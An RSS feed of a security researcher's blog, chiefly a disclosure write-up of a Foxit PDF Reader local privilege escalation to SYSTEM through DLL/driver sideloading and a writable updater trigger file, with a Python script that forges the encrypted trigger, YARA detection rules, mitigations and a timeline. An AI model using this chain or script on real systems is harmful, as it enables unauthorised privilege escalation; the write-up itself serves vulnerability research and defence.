<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Luke Paris on Medium]]></title>
        <description><![CDATA[Stories by Luke Paris on Medium]]></description>
        <link>https://medium.com/@paradoxis?source=rss-15699195a282------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OiBE_y2bgvQ_nz1k2orWIg.jpeg</url>
            <title>Stories by Luke Paris on Medium</title>
            <link>https://medium.com/@paradoxis?source=rss-15699195a282------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 06:23:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@paradoxis/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Moving Away From Medium]]></title>
            <link>https://medium.com/paradoxis/moving-away-from-medium-5a406a7628e4?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a406a7628e4</guid>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Sun, 20 Sep 2026 15:55:37 GMT</pubDate>
            <atom:updated>2026-09-20T15:55:37.183Z</atom:updated>
            <content:encoded><![CDATA[<p><em>TL;DR: My blog has moved away from Medium, which has suffered a death by a thousand slops. This post is purely to inform my e-mail only readers. All existing backlinks should just work fine, your RSS feed should also still work, you just won’t get any e-mails anymore when I make new posts. You can subscribe to my RSS feed for updates: </em><a href="https://blog.paradoxis.nl/rss.xml">https://blog.paradoxis.nl/rss.xml</a></p><p>I initially had a bigger post with all the reasons why, but I figured nobody would care enough so here’s the short reasoning behind why:</p><ul><li>Medium has become littered with low quality AI garbage, clickbait garbage, listicles, and just low-effort. I feel like these days hosting your content here is an indicator of low-quality content, and therefor feel the other slop on the website relfects negatively on my content.</li><li>Medium kicked my blog off the face of the internet twice in the span of a year causing an average of a week downtime every time. As of writing, my blog has been down for more than a week and Medium support just isn’t responding, and there’s not much I can do to fix it.</li><li>A bunch of other smaller annoyances I have with the platform like the fact people can litter my posts with their own highlights <em>(recently made optional, but wasn’t the case for the longest time)</em>, as well as the whole clapping system that makes it possible to leave 50 likes on a single post per person, making it hard to discern content people actually like from stuff that’s been botted to have more likes.</li></ul><p>Regarding e-mail lists: I’m not planning on making one since I personally dislike them, and just don’t want to be responsible to hold on to your personal information, but if people really want it I’ll consider adding one, just send a message via my website: <a href="https://paradoxis.nl/">https://paradoxis.nl</a></p><p>Hope to see you on my new &amp; improved blog<br>Kind regards,<br>@Paradoxis</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a406a7628e4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/paradoxis/moving-away-from-medium-5a406a7628e4">Moving Away From Medium</a> was originally published in <a href="https://medium.com/paradoxis">Paradoxis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalating All The Privileges With Foxit PDF Reader (CVE-2026–57239)]]></title>
            <link>https://medium.com/@paradoxis/escalating-all-the-privileges-with-foxit-pdf-reader-cve-2026-57239-582a78b60492?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/582a78b60492</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 07:56:26 GMT</pubDate>
            <atom:updated>2026-07-15T11:59:40.465Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>TL;DR: it was possible to obtain </em><em>NT AUTHORITY\SYSTEM privileges from the perspective of an unprivileged user using Foxit PDF Reader. The vulnerability has reported and has been assigned </em>CVE-2026–57239<em> and requires some form of code execution on the machine already to exploit. Detection and remediation steps can be found at the end of this blog post.</em></blockquote><p>Back towards the end of March in 2026 I took a jab at Foxit’s PDF Reader. The program had been on my research list for quite a while, especially back when I worked at Fox-IT <em>(because, I mean, having Fox-IT credited as finding a vulnerability in Foxit’s software was pretty funny to me).</em></p><p>Unfortunately, other work, deadlines and muh’ work-life balance always got in the way for my meme project of choice. When I switched jobs earlier this year I finally got some more research time, so I picked the project back up and got to work!</p><h3>The Hunt Begins</h3><p>I fired up Procmon and API explorer, installed the software and got to work. From the get go I was looking for three things: either a local privilege escalation bug, some form of easy persistence technique using the PDF reader, or some kind of format error that would let met get RCE by simply opening a document. Given that I‘m not great at buffer overflows and other forms of binary exploitation, I set my sights on the privilege escalation or the persistence part since I have a bit more experience there.</p><p>Almost immediately I flocked towards the updater program stored in the user’s %APPDATA% folder (totally oblivious at this point there’s an FoxitPDFReaderUpdateService.exe process, which ran with NT AUTHORITY\SYSTEM privileges), as updates generally mean elevated privileges <em>(because how would you otherwise write to </em><em>%PROGRAMFILES%?)</em>.</p><p>I tried running the FoxitPDFReaderUpdater.exe a bunch of times and quickly noted that it performed a lot of CreateFile operations in the current working directory for .dll files with a result of PATH NOT FOUND (which if you’ve done any form of malware development or red teaming in the past 5 years you’ll know is always a lovely sight).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZiHPKxmIr_VGiaruYZ5llg.png" /><figcaption>Updater does a bunch of DLL lookups in the AppData folder</figcaption></figure><p>So I created a nice proxy DLL¹ of CRYPTBASE.DLL , dropped it alongside the FoxitPDFReaderUpdater.exe , ran the program again hoping to get a nice “Hello world” popup, just to be greeted by:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlD433DLUdKuStT3LdTpMg.png" /><figcaption>Turns out they were anti-sideload checks</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*DMT1kkiL8Rx-W_fN.jpg" /></figure><p>Yep, turns out they were anti-sideloading checks. However, one thing stuck out to me: Between the big list of CreateFileW operations, I saw one stray .DRV file being referenced as well. Moreover, when disabling some of my filters I noted that the .DRV file was referenced <strong>before</strong> all of the other DLL’s, meaning it might be different from the other libraries that get referenced by the program!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*to_Bd1hjaxnLvupaCO1seQ.png" /><figcaption>Program gets loaded and references `winspool.drv` and `oleaccrc.dll`</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KF1UAZ6BCXDi6vTNa-GC_w.png" /><figcaption>Only later do the other DLL’s get referenced</figcaption></figure><p>While I know from experience that OLEACCRC.DLL is a resource DLL, which is useless for sideloading as it generally gets loaded with LoadLibraryEx with the LOAD_LIBRARY_AS_DATAFILE flag, meaning no executable code gets loaded. The, WINSPOOL.DRV is a <em>driver</em> file, which is just a PE file that also runs DllMain calls on load, meaning if you can sideload this, you <em>should </em>have successful code execution. So, just like last time, I created a nice proof of concept file, compiled it, dropped it in the right location and restarted the updater program and..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opnKLg7JXU043KRrbPhpNA.jpeg" /><figcaption>Successfully side-loading the FoxitPDFReaderUpdater.exe process</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*wYutXs_chtyxcjCOe6owiw.gif" /><figcaption>All hail the dubious Microsoft DLL search order design choices</figcaption></figure><p>Fun extra: d<em>uring my later reverse engineering efforts I found the exact place where the check takes place, and indeed, we don’t see any checks for the </em><em>winspool.drv file:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*Pg9YY-Pap32pkxTcMwvSjQ.png" /><figcaption>Code responsible for the DLL sideloads</figcaption></figure><h3>Up Next: Privilege Escalation!</h3><p>After finding a way to side-load the updater process, I was still left with the fact that I didn’t have a way to elevate privileges. It was at this point that I noticed the existence of the FoxitPDFReaderUpdateService.exe process, which ran with NT AUTHORITY\SYSTEM privileges (don’t ask me how I hadn’t spotted it yet at this point).</p><p>While zooming in on the process a bit more with Procmon, I could see that it continuously checks for the existence of a couple of files:</p><pre>C:\ProgramData\Foxit Software\Foxit PDF Reader\Foxit Service\Log\log.lib<br>C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt<br>C:\Program Files\Foxit Software\Foxit PDF Reader\ProfStore\ProfStore.xml</pre><p>I began with the file in Program Files. Unfortunately, the file didn’t exist, nor did I have rights to create files there. So not much to do there. The next target was the folder in ProgramData , which is usually writable for regular users, and yep, it still is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EubquQagXF9e33LAzOBVXQ.png" /><figcaption>The Users group has write rights in the ProgramData folder</figcaption></figure><p>The first thing I looked at was the log.lib file. My spidey senses told me this could be interesting given that .lib could simply be a creative interpretation of .dll , meaning if it’s trying to access it in order to call LoadLibrary on it we might have a nice attack vector for privilege escalation. So I created a file there, went back to clicking around and waited for another CreateFile event, at which point I suddenly saw two new files appear:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsBdWpm9bpnZ6egExoWGYw.png" /><figcaption>Ok, so no DLL side-loading, but definitely interesting!</figcaption></figure><blockquote>At this point, I had to stash my research for a bit as I had more pressing work. Around two weeks later, I got back to researching on a new virtual machine.</blockquote><p>After messing around with the Foxit PDF Reader’s settings, I saw my first file creation event of C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt , followed by execution of the FoxitPDFReaderUpdater.exe from my %APPDATA% folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YmBWQSbLV4M0onSwDAT2QQ.png" /><figcaption>Observing a successful FoxitData.txt read event</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rIJNG70f-glwHXbEY2o3qA.png" /><figcaption>Followed by a process create in AppData??</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eqw7kLhEDgo1w1fGEcbCwg.png" /><figcaption>WITH SYSTEM PRIVILEGES??</figcaption></figure><p>Yep! That’s a process in <strong>my </strong>appdata folder being executed as NT AUTHORITY\SYSTEM. This means that whatever the Foxit PDF Reader process is writing to FoxitData.txt causes the process to launch the updater with elevated privileges.</p><p>Naturally I tried just swapping out the binary with something like cmd.exe but that obviously didn’t work as I wouldn’t assume a product this popular to not at least have some safeguards in it like checking if the file is cryptographically signed. Regardless, with the sideload I found earlier, we now still have a full attack chain from user to SYSTEM!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*gXNzhW0mTkRK1uOu04wJBg.jpeg" /></figure><h3>Adding The Final Touches (Or So I Thought)</h3><p>At this point I was happy, and decided to glue together a dirty proof-of-concept script. However, I still missed one key part: What was actually in the FoxitData.txt that caused the CreateProcess call to be issued?</p><p>Well, I was (sort of) in luck: remember that log.lib file I created earlier? As it turns out, Foxit’s PDF reader logs now include some information containing the exact command we saw in Procmon, as well as some other information like a sessionid, as well as hex-encoded blob right before it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQDh8avdPf-IDfdXF-5shg.png" /><figcaption>Log files produced when the program was executed.</figcaption></figure><p>I decided to decode the hex data first, but couldn’t figure out what it was. I also tried decoding it, writing it to the file, but to no avail. Nothing happened. I also tried the plain-text data below it, but again, nothing. Maybe it’s just the hex data as-is verbatim? And again, nope.</p><p>So dead set on creating a script that I could use to trigger the command, I opened up my reverse engineering tool of choice, and started reversing the FoxitPDFReaderUpdateService.exe executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*bpoHqRh8fmmI1OlHT4mOAQ.gif" /></figure><h3>Going Down The Reversing Rabbit Hole</h3><p>Going purely based the strings in the log file, I found the location where the service executes the program, and decided to work my way back up from there.</p><p>First, the execution logic shows that it looks for a winlogon.exe belonging to a session ID (likely the sessionid=1 we saw in the log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*O-CPsoY_NIw-XBAM-qE3XQ.png" /><figcaption>Enumerating the process list</figcaption></figure><p>It then opens the process and duplicates its’ token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*9gHR3tNitIxdppCB0bjnfw.png" /><figcaption>Obtaining a copy of the processes’ token</figcaption></figure><p>It then creates an environment block for the process based on the user’s winlogon.exe process with the inherit flag set to TRUE , (note: I initially looked at this as a possible new attack vector without forcing a user to re-login, so I scratched that idea. If I’m wrong, please let me know and enjoy the accidental 0day drop).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*oai7Mk21noc9yGF7SHGs9Q.png" /><figcaption>Creating an environment block based off the current user’s token with inheritance set to true</figcaption></figure><p>And lastly, the process is created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*07K8z3sXm78S9l7Z8x_9Jg.png" /><figcaption>The updater process is launched</figcaption></figure><p>Looking around the code that calls this stub, we see some checks being performed based on the file’s name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*ErG5EJGYV-bKVuUQwW7yJQ.png" /><figcaption>Filename checks</figcaption></figure><p>And elsewhere in the code there also are some certificate signing checks, as expected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*RGxAUOIxDT5rrRER8eI6mg.png" /><figcaption>Verifying if the certificate is valid</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*pphieHpDDGHWKSs8xSCDoQ.png" /><figcaption>Double check that not just ANY certificate is valid</figcaption></figure><p>Okay, so that rules out using a custom .exe (although a nice time of check/time of use race condition could possibly bypass this step). I proceeded on to figure out how the actual message decoding worked and finally stumbled on the following code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*8S_JKvRzioD96EplcUbLpA.png" /><figcaption>AES decrypting the data</figcaption></figure><p>The thing that immediately caught my eye here was the line(&amp;encryption_key, &quot;c6c7702dbcbf4678&quot;, 0x10u); as this looked like some form of hard-baked key, however I wasn’t quite sure how the key actually got used by the program.</p><p>Throwing samples back and forth with an LLM hinted to me that AES-128 CBC was likely being used, but I had absolutely no clue what the IV was, nor if the program did anything else to the plaintext/ciphertext before encrypting/decrypting it. So my next goal was to simply decrypt the hex data from before back into the known plaintext <em>(the hex string / plaintext from the </em><em>log.lib from before)</em>.</p><p>I continued reversing the program and tried a bunch of different encryption/decryption techniques with some throwaway Python code in an attempt to generate an identical looking stream of bytes, but just nothing seemed to work. Eventually I hooked up Foxit PDF Reader to API monitor in order to figure what it was actually writing to that FoxitData.txt file, just to realize:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBViReYsmq8k-_K0cln7XQ.png" /><figcaption>Notice the `00` before every other byte in the bottom right tab?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*0VJ7IXF3I_YNB_fwQAHk1w.gif" /><figcaption>Yeah I’m an idiot</figcaption></figure><blockquote>Yep, I just forgot to use the right encoding! As it turns out, the reason none of my encryption/decryption attempts were working is because it would just produce regular ANSI formatted strings, wereas Foxit PDF Reader expected UTF16-LE.</blockquote><blockquote>Always use UTF16-LE on Windows folks, this little trick up cost me multiple hours of my life (but I still learned a bunch so it’s never wasted time).</blockquote><p>At this point, I just decided to cook up (have an LLM cough up) a nice script that tried a bunch of different variations on the decryption using the hard-coded key and the payload (now actually encoded properly), and badda bing, badda boom:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*dW5K1q9y_9TBkHEofoZ2Ug.png" /><figcaption>We have successful decryption!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*ETFULIZtdgR-lLcQvFpufQ.png" /></figure><p>In the end, I wrote the following nice Python script which let me trigger the FoxitPDFReaderUpdater.exe at will with SYSTEM rights:</p><pre>from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes<br>from cryptography.hazmat.backends import default_backend<br><br><br>FOXIT_KEY = b&quot;YzZjNzcwMmRiY2Jm&quot;  # Base64 of &quot;c6c7702dbcbf4678&quot; truncated to 16 bytes<br>FOXIT_IV = b&quot;\x00&quot; * 16  # Null IV<br><br><br>def foxit_encrypt(plaintext: str) -&gt; bytes:<br>    &quot;&quot;&quot;Encrypts a string into Foxit&#39;s hex payload format.&quot;&quot;&quot;<br>    plaintext = plaintext.encode(&quot;utf-8&quot;)<br>    padding_len = 16 - (len(plaintext) % 16)<br>    plaintext += b&quot;\x00&quot; * padding_len<br><br>    cipher = Cipher(<br>        algorithms.AES(FOXIT_KEY),<br>        modes.CBC(FOXIT_IV),<br>        backend=default_backend(),<br>    )<br>    encryptor = cipher.encryptor()<br>    ciphertext = encryptor.update(plaintext) + encryptor.finalize()<br>    return ciphertext<br><br><br>def foxit_decrypt(ciphertext: bytes) -&gt; str:<br>    &quot;&quot;&quot;Decrypt a FoxIT PDF reader update &#39;RPC&#39; request.&quot;&quot;&quot;<br>    cipher = Cipher(<br>        algorithms.AES(FOXIT_KEY),<br>        modes.CBC(FOXIT_IV),<br>        backend=default_backend(),<br>    )<br>    decryptor = cipher.decryptor()<br>    decrypted = decryptor.update(ciphertext) + decryptor.finalize()<br>    return decrypted.rstrip(b&quot;\x00&quot;).decode(&quot;utf-8&quot;)<br><br><br>payload = &#39;&#39;&#39;sessionid=1||strTempUpdaterPath=C:\\Users\\User\\AppData\\Roaming\\Foxit Software\\Continuous\\Addon\\Foxit PDF Reader\\FoxitPDFReaderUpdater.exe||csCommandLine= -updater -type &quot;Auto Updater&quot; -hwnd 131494 -bnoshowtip -readerpath &quot;C:\\Program Files\\Foxit Software\\Foxit PDF Reader\\&quot; -regpath &quot;HKEY_CURRENT_USER\\Software\\Foxit Software\\Foxit PDF Reader\\Continuous&quot; -version &quot;2026.1.0.36452&quot; -readerlang &quot;en-US&quot; -UpdateMode &quot;1&quot; -SessionID &quot;1&quot;&#39;&#39;&#39;<br>payload = foxit_encrypt(payload)<br>payload = payload.hex().encode(&quot;utf-16&quot;)<br>print(payload[0:20].hex())<br><br>with open(<br>    &quot;C:\\ProgramData\\Foxit Software\\Foxit PDF Reader\\FoxitData.txt&quot;,<br>    &quot;wb+&quot;,<br>) as fd:<br>    fd.write(payload)</pre><h3>Let’s Wrap This Thing Up!</h3><p>With an encryption/decryption tool, knowledge of what actually triggers the installer, and a process that executes as SYSTEM with a nice DLL (or actually .DRV ) sideload ready, I started writing my POC, triggered it, and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*7IuUzCkG_ACAkA5CHUaA-A.gif" /></figure><p>…Nothing? Wait what? Did I miss something? What went wrong? I went back to my Procmon to investigate and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UUgZdE-zVpTPAB_uT4fAsA.png" /><figcaption>Wait, what?? Why isn’t it loading???</figcaption></figure><p>Remember how I said I had some more pressing matters I had to attend to for about two weeks?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*0TfBqM7AGMNk30KB8mlEXQ.jpeg" /></figure><p>Well, as it turns out Foxit decided to do a big ol’ prank and decided to drop a patch² for this exact DLL sideload vulnerability <em>three days </em>after I discovered it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TeIhTKXXKVi9HdWWjNJXAg.png" /><figcaption>Congrats to Erik Egsgard/Kara Zaffarano, whoever found it first :)</figcaption></figure><p>Well shit. My working theory here is that this is either just comedically bad timing, or I accidentally made it look like a vulnerability that was already reported was being actively exploited in the wild by real baddies, because I was stupid enough to test it out on a clean machine with internet <em>enabled</em>, possibly resulting in a crash dump that got beamed up into their telemetry. I’ll likely never know <em>(nor do I really care enough to bother Foxit about it)</em> ¯\_(ツ)_/¯</p><h3>Sideload #2, Electric Boogaloo</h3><p>At this point, I’ll admit: I felt a little defeated as I now had to find another sideload technique, or find a way to trick the updater service into running my evil code.</p><p>This was complicated even further by the fact that the program just launches and immediately exits; likely because it can’t find an update, which is logical because I’m at the latest version, and because I <em>usually </em>remove my internet adapters in virtual machines where I do my research <em>(except that one time, but we’re going to pretend that never happened)</em>.</p><p>So for another two days I created race condition setups, tried using OpLocks³, named pipe coercion, reversed a bunch more, and messed around with the command execution via the encryption/decryption script to find alternative attack paths.</p><p>While I found some fun exploit primitives, I didn’t find anything I could directly exploit as easy as what I had before, until I eventually stumbled on the fact I could force the updater to display a GUI element using the -type flag. For instance, sending the following payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*NkVmlQxHUtmMgNTTTLM5HQ.png" /><figcaption>Payload used to trigger the GUI</figcaption></figure><p>Would result in the following dialog being shown to the user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*XPvCb0x5wUyLIOT6Km2SdQ.png" /><figcaption>It’s something!</figcaption></figure><p>One theory I now had was that I could maybe mess with the download URI and have it run a malicious installer, but unfortunately pressing Yes or No resulted in no new abusable attack vectors. That was until I went back to this dialog a few hours later, stared at it with my three remaining braincells, and just thought:</p><blockquote>What if I just click the link?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4O7tROv6gYV_W2Bap2dww.png" /><figcaption>Are those DLL import failures?</figcaption></figure><p>So I rushed back to create a fresh new proxy DLL, re-launched my script, dropped the DLL it in the updater directory, clicked the link, and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*z9jrnt6pAhK5lB58BTy2dA.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klOgj9t_ZzJ7C583ySQMvg.png" /><figcaption>We got a SYSTEM shell!</figcaption></figure><p>At this point I was happy and began writing up a disclosure report for Foxit where I gave a technical breakdown of the issue, as well as other areas of improvement which they could use to further harden the application. I eventually ended up with around 30 pages of nerdy goodness and sent off the report.</p><h3>POC || GTFO</h3><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dl-BfC5l8uEY&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fl-BfC5l8uEY" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/636735d0a035f8f0df18b7a7d3bb9ec7/href">https://medium.com/media/636735d0a035f8f0df18b7a7d3bb9ec7/href</a></iframe><p>I later on polished the exploit further into a fully automated POC with Rust which can be found on GitHub (YARA rules for the binary have been included in the following chapter):</p><blockquote><a href="https://github.com/Paradoxis/CVE-2026-57239">https://github.com/Paradoxis/CVE-2026-57239</a></blockquote><h3>Detection</h3><p>No offensive security blog post is complete without some IOC’s you can hunt for to catch bad guys abusing this attack. I recommend adding the following stuff to your incident response check / detection list:</p><ul><li>Look for processes other than ones signed by FOXIT SOFTWARE INC. (which is signed by DigiCert ) writing data to C:\ProgramData\Foxit Software\Foxit PDF Reader\FoxitData.txt . <em>Note that this doesn’t guarantee detection as you can still use process hollowing, or mess with the desktop application itself until an update occurs.</em></li><li>To determine if the exploit was attempted, or used to escalate privileges to NT AUTHORITY\SYSTEM , look for .dll and .drv artifacts in your MFT timeline in %APPDATA%\Foxit Software\Continuous\Addon\Foxit PDF Reader\ folders combined with process creation (event ID 4688), and token impersonation / usage (event ID 4624 + 4696).</li></ul><p>In addition to this, you can use the following YARA rule to detect the file:</p><pre>import &quot;pe&quot;<br><br>rule MRLN_SRT_Foxit_Pdf_Reader_LPE_Dropper<br>{<br>    meta:<br>        description = &quot;MRLN SRT - Possible dropper for CVE-2026-3775/CVE-2026-3780 and CVE-2026-57239 observed&quot;<br>        author = &quot;Merlon Security Research Team&quot;<br><br>    strings:<br><br>        $payload_path = &quot;AppData\\Roaming\\Foxit Software\\Continuous\\Addon\\Foxit PDF Reader&quot; ascii wide nocase<br>        $rpc_path = &quot;ProgramData\\Foxit Software\\Foxit PDF Reader\\FoxitData.txt&quot; ascii wide nocase<br>        $payload_filename_secur32  = &quot;secur32.dll&quot; ascii wide nocase<br>        $payload_filename_winspool = &quot;winspool.drv&quot; ascii wide nocase<br><br>        $hwnd_flag = &quot;-hwnd&quot; ascii wide<br>        $hwnd_val = &quot;131494&quot; ascii wide<br>        $version_flag = &quot;-version&quot; ascii wide<br>        $version_val = &quot;\&quot;2026.1.0.36452\&quot;&quot; ascii wide<br>        $regpath_flag = &quot;-regpath&quot; ascii wide<br>        $regpath_val = &quot;\&quot;HKEY_CURRENT_USER\\Software\\Foxit Software\\Foxit PDF Reader\\Continuous\&quot;&quot; ascii wide nocase<br><br>    condition:<br>        uint16(0) == 0x5A4D<br>        and $payload_path<br>        and $rpc_path<br>        and 1 of ($payload_filename_*)<br>        and (<br>               ($hwnd_flag and $hwnd_val)<br>            or ($version_flag and $version_val)<br>            or ($regpath_flag and $regpath_val)<br>        )<br>}<br><br>rule MRLN_SRT_Foxit_Pdf_Reader_LPE_Loader<br>{<br>    meta:<br>        description = &quot;MRLN SRT - Possible loader for CVE-2026-3775/CVE-2026-3780 and CVE-2026-57239 observed&quot;<br>        author = &quot;Merlon Security Research Team&quot;<br><br><br>    strings:<br>        $priv_debug = &quot;SeDebugPrivilege&quot; ascii wide<br>        $priv_impersonate = &quot;SeImpersonatePrivilege&quot; ascii wide<br>        $sid_system = &quot;S-1-5-18&quot; ascii wide<br>        $winsta = &quot;WinSta0\\Default&quot; ascii wide<br><br>    condition:<br>        uint16(0) == 0x5A4D<br>        and pe.exports(&quot;ClosePrinter&quot;)<br>        and pe.exports(&quot;OpenPrinterW&quot;)<br>        and pe.exports(&quot;DocumentPropertiesW&quot;)<br>        and pe.exports(&quot;DllMain&quot;)<br>        and pe.imports(&quot;advapi32.dll&quot;, &quot;LookupPrivilegeValueW&quot;)<br>        and pe.imports(&quot;advapi32.dll&quot;, &quot;AdjustTokenPrivileges&quot;)<br>        and pe.imports(&quot;advapi32.dll&quot;, &quot;DuplicateTokenEx&quot;)<br>        and pe.imports(&quot;advapi32.dll&quot;, &quot;GetTokenInformation&quot;)<br>        and pe.imports(&quot;kernel32.dll&quot;, &quot;OpenProcess&quot;)<br>        and pe.imports(&quot;advapi32.dll&quot;, &quot;OpenProcessToken&quot;)<br>        and 3 of ($priv_debug, $priv_impersonate, $sid_system, $winsta)<br>}</pre><h3>Mitigations</h3><p>To mitigate the issue, update to version 2026.2 using the updater we just exploited (maybe check for rogue .dll’s before you do so). I also recommend making use of things like AppLocker or any other product that lets you have fine-grained control of which modules or executables can be loaded into which programs.</p><h3>Timeline</h3><ul><li>March 25, 2026 — Begin research</li><li>March 26, 2026 — Sideload technique discovered using WINSPOOL.DRV still unsure how to trigger the bug in an elevated context.</li><li>March 27, 2026 — Busy with other stuff :)</li><li>April 1, 2026 — Foxit PDF Reader 2026.1 released with anti-sideload measures for WINSPOOL.DRV (CVE-2026–3775/CVE-2026–3780)</li><li>April 2–13, 2026 — Busy with other stuff :)</li><li>April 14, 2026 — Successfully reverse engineered the cryptography for the IPC messages just to find out the sideload technique was patched</li><li>April 15, 2026 — Alternate side-load technique discovered</li><li>April 16, 2026 — Disclosure report written</li><li>April 17, 2026 — Findings &amp; other attack primitives reported to Foxit and began writing this post</li><li>April 20, 2026 — Response from Foxit acknowledging that they have received the report and are in the process of analyzing and reproducing the issue.</li><li>May 14, 2026 — Sent an email requesting an update in regards to the progress of the disclosure.</li><li>May 14, 2026 — Foxit responded: “We have successfully reproduced the security vulnerability you reported for Foxit PDF Reader. Our development team is still in the progress of further analysis at the moment. We fully take note of the 90-day disclosure timeline you referenced, and we also follow our standard 120-day remediation policy. We will do our best to resolve and fix this issue by July 26th.”</li><li>June 16, 2026 — Foxit sends an e-mail noting: “The patched release is scheduled for next month, which will be accompanied by the assigned CVE ID and our security bulletin.”</li><li>July 1, 2026 — Foxit notifies me that they intend to release the patch on the 8th of July.</li><li>July 8, 2026 — Foxit notifies me that the patch is released publicly on their security bulletins page and is assigned CVE-2026–57239. Merlon Security <a href="https://www.linkedin.com/feed/update/urn:li:activity:7480666628020551680/">announces</a> that this blog will be published on the 15th of July to let people patch their systems.</li><li>July 15, 2026 — This blog post and <a href="https://github.com/Paradoxis/CVE-2026-57239">proof of concept code is released on GitHub</a>.</li></ul><p>¹ <a href="https://unprotect.it/technique/dll-proxying/">https://unprotect.it/technique/dll-proxying/</a></p><p>² <a href="https://www.foxit.com/support/security-bulletins.html">https://www.foxit.com/support/security-bulletins.html</a></p><p>³ <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks">https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=582a78b60492" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Playing Around With ADIDNS RPC Internals]]></title>
            <link>https://medium.com/@paradoxis/playing-around-with-adidns-rpc-internals-0c59c15d0a15?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c59c15d0a15</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[rpc]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Wed, 01 Jul 2026 20:10:38 GMT</pubDate>
            <atom:updated>2026-07-03T11:52:11.188Z</atom:updated>
